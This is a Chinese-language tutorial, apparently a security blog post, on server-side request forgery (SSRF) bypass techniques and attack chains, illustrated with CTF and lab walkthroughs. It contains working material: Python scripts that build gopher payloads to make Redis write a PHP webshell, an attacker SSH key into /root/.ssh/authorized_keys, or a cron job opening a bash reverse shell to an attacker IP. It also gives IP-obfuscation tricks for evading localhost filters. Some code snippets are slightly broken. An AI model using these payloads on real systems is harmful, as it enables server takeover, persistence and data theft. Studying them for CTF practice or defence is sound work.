• 从一文中了解SSRF的各种绕过姿势及攻击思路


    声明

    文章首发于跳跳糖社区https://tttang.com/archive/1648/

    前言

    SSRF之前只有简单了解,进行二次学习后简单总结一下,希望能对正在学习SSRF的师傅们有所帮助

    漏洞相关信息

    漏洞成因

    SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

    如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

    漏洞定义

    SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

    漏洞危害

    1、读取或更新内部资源,造成本地文件泄露;

    2、将含有漏洞防主机用作代理/跳板攻击内网主机,绕过防火墙等;

    3、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息

    4、对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)

    5、攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)

    所涉函数

    curl_exec()

    curl_exec()  curl_exec函数用于执行指定的cURL会话。
    
    • 1

    举个栗子,代码如下

    
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    //初始化curl会话
    $ch=curl_init($url); 
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
     抓取URL并把它传递给浏览器
    $result=curl_exec($ch);
     //关闭cURL资源,并且释放系统资源
    curl_close($ch);
    echo ($result);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    这个时候我们就可以利用url参数,来获取内网的部分文件,直接写127.0.0.1:/flag.php这种即可,赋值给URL
    在这里插入图片描述

    file_get_contents()

    file_get_contents() file_get_content函数从用户指定的url获取内容,然后指定一个文件名
    进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
    
    • 1
    • 2

    对于file_get_contents() 函数,它是可以获取文件内容的,我们这里也简单举个栗子来介绍其利用方式

    
    $url = $_GET['url'];;
    echo file_get_contents($url);
    ?>
    
    • 1
    • 2
    • 3
    • 4

    此时就存在一种漏洞,就是可以直接读取内网的文件
    在这里插入图片描述

    fsockopen()

    fsockopen()  fsockopen — 打开一个网络连接或者一个Unix套接字连接
    
    • 1
    
    $host=$_GET['url'];
    $fp = fsockopen("$host",80, $errno, $errstr,30);
    if(!$fp){
    echo "$errstr ($errno)
    \n"
    ; }else{ $out ="GET / HTTP/1.1\r\n"; $out .="Host: $host\r\n"; $out .="Connection: Close\r\n\r\n"; fwrite($fp, $out); while(!feof($fp)){ echo fgets($fp,1024); } fclose($fp); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限,传输原始数据。
    在这里插入图片描述

    所涉协议

    file伪协议

    file:// — 访问本地文件系统
    
    • 1

    简单的说呢,就是探测本地的文件,比较官方的解释及用法如下

    file:// 协议:
            条件 allow_url_fopen:off/on  allow_url_include :off/on
            作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
                 如果导入非php文件也会被解析为php
            用法:
                1.file://[文件的绝对路径和文件名]
                2.[文件的相对路径和文件名]
                3.[http://网络路径和文件名]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    以简单题作为栗子来实践一下

    题目描述

    尝试去读取一下Web目录下的flag.php吧
    
    • 1

    进入环境,一片空白,发现url参数,利用file伪协议尝试读取flag
    在这里插入图片描述

    url=file:///var/www/html/flag.php
    
    • 1

    在这里插入图片描述

    Gopher协议

    当探测内网或执行命令时需要发送 POST 请求,我们可以利用 gopher 协议
    协议格式:gopher://:/,这里的gopher-path就相当于是发送的请求数据包

    这个以ctfhub的一道小题来讲解
    打开环境没有发现什么东西,扫一下
    在这里插入图片描述
    扫描后发现有个文件名字是flag.php文件,此时我们去访问这个文件
    在这里插入图片描述
    提示只能用本机来访问,此时我们构造如下payload

    url=http://127.0.0.1/flag.php
    
    • 1

    在这里插入图片描述
    发现是文件上传
    此时查看一下文件源码

    url=file:///var/www/html/flag.php
    
    • 1

    源码如下

    
    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    
    Upload Webshell
    
    <form action="/flag.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
    </form>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    此时发现确实是文件上传,只要文件大于0就可以成功上传,此时我们去尝试上传个文件,不过此时发现没有提交按钮…,无伤大雅,我们可以自己编辑前端代码创建一个提交按钮,构造代码如下

    <input type="submit" name="submit">
    
    • 1

    在这里插入图片描述

    然后随便上传个文件上去
    在这里插入图片描述
    此时修改host为127.0.0.1,就构造出了我们需要的post数据包,再运用如下脚本进行二次编码即可

    import urllib.parse
    payload =\
    """POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------224170729831654278414248977569
    Content-Length: 525
    Origin: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800
    Connection: close
    Referer: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
    Upgrade-Insecure-Requests: 1
    
    -----------------------------224170729831654278414248977569
    Content-Disposition: form-data; name="file"; filename="1.txt"
    Content-Type: application/octet-stream
    -----------------------------224170729831654278414248977569
    Content-Disposition: form-data; name="submit"
    
    123
    -----------------------------224170729831654278414248977569--
    123
    -----------------------------224170729831654278414248977569
    Content-Disposition: form-data; name="submit"
    
    123
    -----------------------------224170729831654278414248977569--
    """
    
    #注意后面一定要有回车,回车结尾表示http请求结束
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result)       # 这里因为是GET请求所以要进行两次url编码
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    执行脚本后得到转码后的代码如下

    gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A  
    
    • 1

    此时直接赋值给url参数即可

    url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A  
    
    • 1

    在这里插入图片描述

    dict协议

    ict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
    协议格式:dict://:/
    一般用dict://:/info 探测端口应用信息

    举个栗子

    dict://127.0.0.1:6379 //探测redis是否存活
    dict://127.0.0.1:6379/info //探测端口应用信息
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    RESP协议

    RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
    因此我们后续构造 payload 时也需要转换成 RESP 协议的格式

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $64
    
    */1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
    
    *4
    $6
    config
    $3
    set
    $3
    dir
    $16
    /var/spool/cron/
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $4
    root
    *1
    $4
    save
    quit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    其中

    *n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
    $n代表着该字符串有 n 个字符
    
    • 1
    • 2

    执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应
    在这里插入图片描述

    常见绕过姿势

    URL and IP PASS

    当遇见过滤localhost127.0.0.1时,此时是无法直接进行访问内网的,那我们此时该怎么办呢,有以下几种绕过方式

    302跳转

    网络上存在一个名为sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1
    在这里插入图片描述

    添加@绕过

    平常我们传入的url是url=http://127.0.0.1,如果
    我们传入的url是url=http://quan9i@127.0.0.1,它此时依旧会访问127.0.0.1

    示例如下
    题目给出提示
    在这里插入图片描述
    要求必须以http://notfound.ctfhub.com开头,但我们访问内网文件的话,有这个,该怎么访问呢,这个时候就用到了@字符,我们构造payload如下

    url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    
    • 1

    在这里插入图片描述

    特殊数字(例如②)

    有时候可以用特殊数字来绕过,构造特殊的127.0.0.1,如1②7.0.0.1
    在这里插入图片描述

    句号替代.绕过

    来代替.
    在这里插入图片描述

    省略0

    当过滤127.0.0.1整体时,还有一种绕过方式就是省略中间的0,这个时候也是可以访问的
    在这里插入图片描述

    进制转换

    127.0.0.1进行转换,转换为其他进制的数从而绕过检测
    进制转换结果如下

    0177.0.0.1 //八进制
    0x7f.0.0.1 //十六进制
    2130706433 //十进制
    
    • 1
    • 2
    • 3

    也可以利用php转换脚本来直接得到结果,脚本如下

    
    $ip = '127.0.0.1';
    $ip = explode('.',$ip);
    $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
    if($r < 0) {
    $r += 4294967296;
    }
    echo "十进制:";
    echo $r;
    echo "八进制:";
    echo decoct($r);
    echo "十六进制:";
    echo dechex($r);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    特殊0

    在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1,如下所示

     url=http://0/flag.php
    
    • 1

    在这里插入图片描述

    DNS重绑定

    DNS是Domain Name Service的缩写,计算机域名服务器,在Internet上域名与IP地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识IP地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是DNS域名服务器。

    在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS 重绑定攻击。
    攻击过程如下

    对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
    
    但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
    
    要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
    
    服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
    
    对于获得的IP进行判断,发现为非黑名单IP,则通过验证
    
    服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    DNS重绑定这里简单的说就是我们先提供一个ip,然后在服务端进行解析的过程中再传127.0.0.1,此时就可能会出现访问到本地文件的情况
    举个栗子,我们设置一个为127.0.0.1,另一个随便写一下
    在这里插入图片描述
    ping这个地址,可以发现有两种情况,一种是1.1.1.14,另一种是127.0.0.1
    在这里插入图片描述

    DNS重绑定用的是这个网站[https://lock.cmpxchg8b.com/rebinder.html]

    Redis常见攻击姿势

    绝对路径写webshell

    前提

    1、redis 有 root
    2、知道网站绝对路径
    
    • 1
    • 2

    靶机开启redis
    在这里插入图片描述
    攻击机连接未授权的redis(博主只是小白,可能有部分有问题)

    redis-cli -h ip地址
    
    • 1

    在这里插入图片描述
    连接成功,开始写webshell

    1、flushall //命令用于清空整个 Redis 服务器的数据
    2、set 1 '' //设置内容为一句话木马
    3、config set dir '/var/www/html'  //设置文件存储路径
    4、config set dbfilename shell.php //设置文件名
    5、save //保存
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    去靶机查看
    在这里插入图片描述
    成功写入

    结合SSRF

    此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的

    通用脚本如下

    import urllib
    protocol="gopher://"
    ip="192.168.134.132" //ip地址
    port="6379" //端口
    shell="\n\n\n\n"//写入内容为一句话木马
    filename="1.php" //文件名为1.php
    path="/var/www/html"//默认路径
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    在这里插入图片描述
    尝试使用此payload进行攻击
    在这里插入图片描述
    查看该目录下
    在这里插入图片描述
    成功写入

    写ssh公钥

    条件

    1、Redis服务使用ROOT账号启动
    2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
    
    • 1
    • 2

    在靶机中执行命令ssh-keygen -t rsa,而后一路回车即可
    在这里插入图片描述
    此时去找公钥和私钥存放位置

    find . -name ".ssh"
    
    • 1

    在这里插入图片描述
    查看id_rsa.pub内容

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali
    
    • 1

    此时去攻击机上连接redis

    flushall
    set 1 'id_rsa.pub内容'
    config set dir '/root/.ssh/'
    config set dbfilename authorized_keys
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    去靶机里查看
    在这里插入图片描述
    成功写入
    此时ssh -root@靶机ip即可成功登录

    结合SSRF

    脚本如下

    import urllib
    protocol="gopher://"
    ip="192.168.134.132"
    port="6379"
    filename="authorized_keys"
    ssh_pub="\n\nssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali \n\n"
    path="/root/.ssh/"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    运行后得到payload
    在这里插入图片描述
    开启靶机环境,去攻击机进行curl + payload
    在这里插入图片描述

    此时尝试登录
    在这里插入图片描述

    写contrab计划任务反弹shell

    条件

    redis 有 root
    环境是centos,由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos
    
    • 1
    • 2

    靶机开启redis,攻击连接后执行以下指令

    flushall
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.134.132/1234 0>&1\n\n\n\n"
    config set dir '/var/spool/cron'
    config set dbfilename root
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    结合SSRF

    脚本

    import urllib
    protocol="gopher://"
    reverse_ip="192.168.134.132"
    reverse_port="1234"
    filename="root"
    cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
    path="/var/spool/cron"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(cron.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+reverse_ip+":"+reverse_port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    运行后得到
    在这里插入图片描述
    在攻击机上进行监听,同时克隆一个终端进行curl +payload
    在这里插入图片描述

    在这里插入图片描述
    之后即可成功反弹shell

    靶场实战

    SSRF-lab

    环境搭建

    1、从github上下载靶场
    代码如下

    git clone https://gitclone.com/github.com/m6a-UdS/ssrf-lab.git
    
    • 1

    在这里插入图片描述
    2、切换到靶场路径下制作镜像

    cd /ssrf-lab/basics
    sudo docker build -t ssrf-lab/basic .
    
    • 1
    • 2

    在这里插入图片描述
    3、运行镜像并映射到80端口

    docker run -d -p 80:80 ssrf-lab/basic
    
    • 1

    4、进入容器中配置Redis

    docker exec -it 容器id /bin/bash
    apt-get install redis-server
    
    • 1
    • 2

    在这里插入图片描述
    5、开启Redis服务

    redis-server
    
    • 1

    在这里插入图片描述
    访问
    在这里插入图片描述

    收集信息

    先测127.0.0.1
    在这里插入图片描述
    发现有回显,说明对ip没有限制,此时尝试读取文件

    file:///etc/passwd
    
    • 1

    在这里插入图片描述
    获取到密码,此时再用dict伪协议读取redis信息

    dict://127.0.0.1:6379/info
    
    • 1

    在这里插入图片描述

    构造webshell

    在这里插入图片描述
    此时我们是没有shell.php的,我们尝试写入一个shell.php

    dict://127.0.0.1:6379/config:set:dir/var/www/html //设置目录
    
    • 1

    在这里插入图片描述

    dict://127.0.0.1:6379/set:shell:"" //设置文件内容
    
    • 1

    在这里插入图片描述
    发现未成功,尝试十六进制绕过

    dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3f\x3e"
    
    • 1

    在这里插入图片描述

    dict://127.0.0.1:6379/config:set:dbfilename:shell.php //设置文件名
    
    • 1

    在这里插入图片描述

    dict://127.0.0.1:6379/save //保存
    
    • 1

    在这里插入图片描述
    去靶机中查看
    在这里插入图片描述
    成功写入

    靶场实战

    URL and IP PASS

    0X01

    
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $x=parse_url($url);
    if($x['scheme']==='http'||$x['scheme']==='https'){
    if(!preg_match('/localhost|127.0.0/')){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo ($result);
    }
    else{
        die('hacker');
    }
    }
    else{
        die('hacker');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    可以发现这个多了parse_url函数,这个函数的作用如下

    parse_url — 解析 URL,返回其组成部分
    
    • 1

    示例如下

    <?php
    $url = 'http://username:password@hostname/path?arg=value#anchor';
    
    print_r(parse_url($url));
    
    echo parse_url($url, PHP_URL_PATH);
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    输出结果

    Array
    (
        [scheme] => http
        [host] => hostname
        [user] => username
        [pass] => password
        [path] => /path
        [query] => arg=value
        [fragment] => anchor
    )
    /path
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    这里的话就是要求是http或者https,然后呢不能出现loca1host或者127.0.0,仔细看的话,会发现这里是loca1而非local,同时127.0.0防不了127.0.0.1,因此是可以沿用上关思路的,不过这里的考点是这个127.0.0.1的绕过,这里给出几个payload

    //特殊0
    url=http://0/flag.php
    url=http://0.0.0/flag.php
    //进制绕过
    url=http://0177.0.0.1/flag.php //八进制
    url=http://0x7f.0.0.1/flag.php //十六进制
    url=http://2130706433/flag.php  //十进制
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    0X02

    
    error_reporting(0);
    highlight_file(__FILE__);
    $url=$_POST['url'];
    $x=parse_url($url);
    if($x['scheme']==='http'||$x['scheme']==='https'){
    $host=$x['host'];
    if((strlen($host)<=5)){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo ($result);
    }
    else{
        die('hacker');
    }
    }
    else{
        die('hacker');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    这个的话要求host长度小于5,这个时候127.0.0.1和localhost都是不符合要求的,这个时候我们可以用特殊0来替代

    url=http://0/flag.php
    
    • 1

    还有一个,127.1也是可行的
    在这里插入图片描述

    0X03

    
